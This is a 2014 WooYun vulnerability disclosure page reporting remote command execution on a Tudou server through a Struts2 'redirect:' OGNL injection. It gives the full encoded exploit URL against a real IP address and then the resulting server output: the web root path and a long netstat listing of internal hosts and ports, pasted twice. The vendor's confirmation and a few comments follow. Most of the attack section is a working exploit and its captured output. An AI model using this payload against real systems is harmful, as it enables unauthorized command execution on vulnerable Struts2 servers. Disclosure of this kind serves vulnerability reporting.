当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077786

漏洞标题：土豆网某系统存在远程命令执行漏洞

相关厂商：土豆网

漏洞作者： if、so

提交时间：2014-09-29 16:19

修复时间：2014-11-13 16:20

公开时间：2014-11-13 16:20

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

土豆网某系统命令执行

详细说明：

1111.JPG


http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
tcp        0      0 :::8080                     :::*                        LISTEN      
tcp        0      0 :::80                       :::*                        LISTEN      
tcp        0      0 :::8081                     :::*                        LISTEN      
tcp        0      0 :::22                       :::*                        LISTEN      
tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
tcp        0      0 :::8009                     :::*                        LISTEN      
tcp        0      0 :::8010                     :::*                        LISTEN      
tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:

漏洞证明：

http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
tcp        0      0 :::8080                     :::*                        LISTEN      
tcp        0      0 :::80                       :::*                        LISTEN      
tcp        0      0 :::8081                     :::*                        LISTEN      
tcp        0      0 :::22                       :::*                        LISTEN      
tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
tcp        0      0 :::8009                     :::*                        LISTEN      
tcp        0      0 :::8010                     :::*                        LISTEN      
tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:

修复方案：

。。

版权声明：转载请注明来源 if、so@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-09-29 16:57

厂商回复：

多谢，已关闭此系统

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-29 17:32 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    good

  2. 2014-09-29 17:39 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    真快啊

  3. 2014-09-29 17:53 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨，淡看江湖路...)

    我日啊，系统都被迫关闭了

  4. 2014-09-29 17:56 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    @爱上平顶山 haha

  5. 2014-11-14 15:08 | 带我玩 ( 路人 | Rank:12 漏洞数:6 | 带我玩)

    你们是日的人家关门么?